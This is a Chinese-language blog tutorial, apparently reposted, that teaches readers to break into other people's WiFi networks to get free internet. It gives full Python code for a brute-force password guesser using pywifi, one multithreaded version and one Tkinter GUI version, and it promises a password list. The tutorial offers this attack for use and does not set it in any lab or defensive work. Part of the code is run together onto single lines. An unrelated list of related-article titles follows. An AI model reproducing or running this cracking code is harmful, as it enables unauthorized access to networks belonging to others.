Python破解WIFI升级版保姆级教程,多线程破解+界面(附赠密码本)
目录
前言
1.安装python的包
多线程破解教程
基本流程
密码本如下
完整代码如下
破解效果如下
界面版本WiFi破解
注意
代码
破解效果图如下
总结
前言
有很多小伙伴想要破解WiFi密码,一个一个试太麻烦了不如让python帮你去破解,今天我们就来教大家如何破解WiFi,实现免费蹭网,你就是最靓的仔
1.安装python的包
第一步首先安装以下两个包,确保有这两个包之后才能够成功破解,不然会报错哦,安装包的地方看图二哦
多线程破解教程
基本流程
首先这里介绍一下多线程破解的基本流程如下
(1)读取电脑无线网卡数目,获取每一张网卡对象
(2)为每一个网卡对象创建线程
(3)读取密码本文件夹下的每一个密码txt文件
(4)每条线程对不同的密码本进行读取
(5)每条线程对同一个wifi进行验证
(6)某一条线程连接成功,终止其他线程
(7)将密码存入pwd.txt文件下
密码本如下
一般常用的WiF密码都在这里面哦超级全,鄙人亲自测试,完全可以破解
完整代码如下
#!/usr/bin/env python
# -*- coding:utf-8 -*-
from __future__ import print_function
import os
import threading
import time
import pywifi
from pywifi import constclass NewWifi(object):def __init__(self, wifiName, filePath):self.tag = Falseself.wifiName = wifiNameself.filePath = filePathwifi = pywifi.PyWiFi() # 抓取网卡接口self.ifaces = wifi.interfaces() # 获取无线网卡,list类型for i in self.ifaces:i.disconnect() # 断开所有无线连接def readPassword(self, pfl, iface):for pf in pfl:if self.tag is True:breakpath = self.filePath + "\\" + pffile = open(path, "r")while True:pwd = file.readline()self.connect(pwd.strip(), iface)if self.tag is True:breakelif pwd == '':print(pf + "没有密码!")breakelse:print("破解中...: " + pwd, end='')def connect(self, pwd, iface):profile = pywifi.Profile() # 创建WiFi连接文件profile.ssid = self.wifiName # 要连接WiFi的名称profile.auth = const.AUTH_ALG_OPEN # 网卡的开放profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法,一般wifi加密算法为wpsprofile.cipher = const.CIPHER_TYPE_CCMP # 加密单元profile.key = pwd # 调用密码iface.remove_all_network_profiles() # 删除所有连接过的wifi文件tmp_profile = iface.add_network_profile(profile) # 设定新的连接文件iface.connect(tmp_profile) # 连接wifitime.sleep(3.5)if iface.status() == const.IFACE_CONNECTED: # 判断是否成功连接self.tag = Truef = open("test.txt", 'w')f.write(pwd)print("----------------密码已破解!-------------------"+pwd)iface.disconnect()time.sleep(0.5)def getPasswordFileList(self, num, l):files = []fileList = os.listdir(self.filePath)#print(fileList)while num < len(fileList):files.append(fileList[num])num += lreturn filesdef main(self):wifiLength = len(self.ifaces)for i in range(wifiLength):if self.tag is False:passwordFileList = self.getPasswordFileList(i, wifiLength)th = threading.Thread(target=self.readPassword, args=(passwordFileList, self.ifaces[i]))th.start()# print(passwordFileList)if __name__ == '__main__':nw = NewWifi('REct', 'passwordList') # CMCC-udKgnw.main()
这里使用的是多线程去破解WiFi,相当于把每一个密码本分发给每个无限的网卡,不同网卡使用一个同的密码文件,多线程的破解就会比单线程破解比较快
破解效果如下
密码最终会保存在文件中去,是不是非常方便哈哈哈哈哈,多线程破解要比单线程暴力破解快了很多 ,但是这样子运行显得很一般,在别人面前装也装不起来,那么我又加以改进做了个带界面版本的。
界面版本WiFi破解
注意
首先注意界面版本我们需要导包这里要注意下
代码
话不多说直接上代码
#!/usr/bin/env python
# -*- coding:utf-8 -*-
from Tkinter import *
from pywifi import const
import pywifi
import time# 主要步骤:
# 1、获取第一个无线网卡
# 2、断开所有的wifi
# 3、读取密码本
# 4、设置睡眠时间
def wificonnect(str, wifiname):# 窗口无线对象wifi = pywifi.PyWiFi()# 抓取第一个无线网卡ifaces = wifi.interfaces()[0]# 断开所有的wifiifaces.disconnect()time.sleep(1)if ifaces.status() == const.IFACE_DISCONNECTED:# 创建wifi连接文件profile = pywifi.Profile()profile.ssid = wifiname# wifi的加密算法profile.akm.append(const.AKM_TYPE_WPA2PSK)# wifi的密码profile.key = str# 网卡的开发profile.auth = const.AUTH_ALG_OPEN# 加密单元,这里需要写点加密单元否则无法连接profile.cipher = const.CIPHER_TYPE_CCMP# 删除所有的wifi文件ifaces.remove_all_network_profiles()# 设置新的连接文件tep_profile = ifaces.add_network_profile(profile)# 连接ifaces.connect(tep_profile)time.sleep(3)if ifaces.status() == const.IFACE_CONNECTED:return Trueelse:return Falsedef readPwd():# 获取wiif名称wifiname = entry.get().strip()path = r'./pwd.txt'file = open(path, 'r')while True:try:# 读取mystr = file.readline().strip()# 测试连接bool = wificonnect(mystr, wifiname)if bool:text.insert(END, '密码正确' + mystr)text.see(END)text.update()file.close()breakelse:text.insert(END, '密码错误' + mystr)text.see(END)text.update()except:continue# 创建窗口
root = Tk()
root.title('wifi破解')
root.geometry('500x400')
# 标签
label = Label(root, text='输入要破解的WIFI名称:')
# 定位
label.grid()
# 输入控件
entry = Entry(root, font=('微软雅黑', 14))
entry.grid(row=0, column=1)
# 列表控件
text = Listbox(root, font=('微软雅黑', 14), width=40, height=10)
text.grid(row=1, columnspan=2)
# 按钮
button = Button(root, text='开始破解', width=20, height=2, command=readPwd)
button.grid(row=2, columnspan=2)
# 显示窗口
root.mainloop()
破解效果图如下
这样子就显得比较高级点了,速度也是很快的
总结
这次分享了两种WiFi破解的方法,多线程和界面版的破解,另外就是破解的时候注意需要密码本哦,否则代码也识别不了密码,好了今天写道这里。如果哪里有问题 欢迎指出 !
Python破解WIFI升级版保姆级教程,多线程破解+界面(附赠密码本)相关推荐
- CAN通讯-使用Python收发CAN数据保姆级教程(包含完整代码)
CAN通讯-使用Python收发CAN数据 配置环境 1.环境配置 1.1安装CAN通讯需要的包 1.2 安装kvaser_drivers以及Kvaser CanKing 2.使用Python收发数据 ...
- Python爬虫之入门保姆级教程,学不会我去你家刷厕所
注重版权,转载请注明原作者和原文链接 作者:Bald programmer 今天这个教程采用最简单的爬虫方法,适合小白新手入门,代码不复杂 文章目录 今天这个教程采用最简单的爬虫方法,适合小白新手入门 ...
- 保姆级教程!将 Vim 打造一个 IDE (Python 篇)
从上周开始我就开始折腾 ,搞了一下 Vim IDE for Python & Go,我将整个搭建的过程整理成本篇文章分享出来,本篇是 Python 版本的保姆级教程,实际上我还写了 Go 版本 ...
- 【图解SHA1杂凑算法】SHA1杂凑算法的Python实现保姆级教程 | 物联网安全 | 信息安全
系列索引:[图解安全加密算法]加密算法系列索引 Python保姆级实现教程 | 物联网安全 | 信息安全 起初写实验时找到的代码大多基于c/c++,python可参考的资料很少,所以借着这次实验的机会 ...
- 保姆级教程如何用Xcode搭建python环境
保姆级教程如何用mac电脑中的Xcode搭建python环境(xcode12) 「mac电脑自带python2.7,你也可以更新你的python版本」 打开Xcode,点击file-new-proje ...
- 判断是不是链接 正则_Python 正则表达式 保姆级教程,小学生都看得懂!!
~点击 蓝字 关注,获取更多资源~ 0 前言 上一篇文章,2020,还不会正则???,和小伙伴们一起学习了 Python 中的正则表达式,读完之后,总感觉少了点什么东西,无法尽兴?就好像爱你们的心少了 ...
- 从购买服务器到网站搭建成功保姆级教程~超详细
??从购买服务器到网站搭建成功保姆级教程~真的超详细,各位看官细品 ??前言 ??预备知识 ??什么是云服务器? ??什么是域名? ??什么是SSL证书? ??服务器选配 ??阿里云[官网链接](ht ...
- 天才少年稚晖君 | 【保姆级教程】个人深度学习工作站配置指南
天才少年稚晖君 | [保姆级教程]个人深度学习工作站配置指南 来源:https://zhuanlan.zhihu.com/p/336429888 0. 前言 工作原因一直想配置一台自己的深度学习工作站 ...
- AI绘图–Disco Diffusion使用指南+本地化保姆级教程
文章封面为个人AI绘图训练结果 项目传送门:传送门 (谷歌警告) 该项目为免费使用的AI绘图项目,并且可以在本地搭建部署环境. AI绘图对于人脸处理仍处于较为实现困难的阶段,因此该项目更适合用于各类场 ...
最新文章
- 阿里云云服务器ECS上的Ubuntu16.04桌面安装及root账户登录错误处理
- Django静态文件一瞥
- jittor和pytorch生成网络对比之sgan
- 成功解决TypeError: only integer scalar arrays can be converted to a scalar index
- [云炬python3玩转机器学习笔记] 3-2 Jupter Notebook魔法命令
- Elasticsearch的Scroll操作
- 862. 和至少为 K 的最短子数组
- C语言六叉树,递归创建二叉树c语言实现+详细解释
- 光棍节脱单,单身狗该你上了
- ubuntu学习日记--Lesson5:系统目录详解
- 从Hadoop看普通算法在一个系统中的应用
- Canvas 输出位图
- 【Android 逆向】APK 加壳脱壳现状 | 判断 APK 是否加壳 | APK 逆向流程
- 小程序外部样式类的使用
- PR 音频去噪、音频信号增强、音频导出wav文件;
- python重命名异常_Python:如何忽略异常并继续?
- leetcode 714. 买卖股票的时机含手续费 python
- 二值化轮廓图像轮廓点坐标顺时针获取matlab程序
- C# 给自己的网址接入微信扫描登录入口
- React中的Hooks是什么?
热门文章
- 用ue4怎么制作一个物体故障闪烁的特效
- IDEA中运行项目时 java: -source 1.5 中不支持 diamond 运算符 解决方法
- 【现代控制理论】| 线性系统的状态空间法
- 什么是马丁格尔策略?
- 定时使用Tushare下载日线交易数据到Sqlite3数据库
- 关于解决HbuilderX终端不能输入问题
- XWiki搭建(window+tomcat+MySQL+jdk)
- MATLAB/Simulink电力系统与仿真,第四章的2机5节点潮流计算模型建模经验
- Nvidia Jetson TK1 无线网卡(Intel 7260)驱动及配置
- 简单的车辆检测代码(opencv+python4.2.0 ) win10+64bit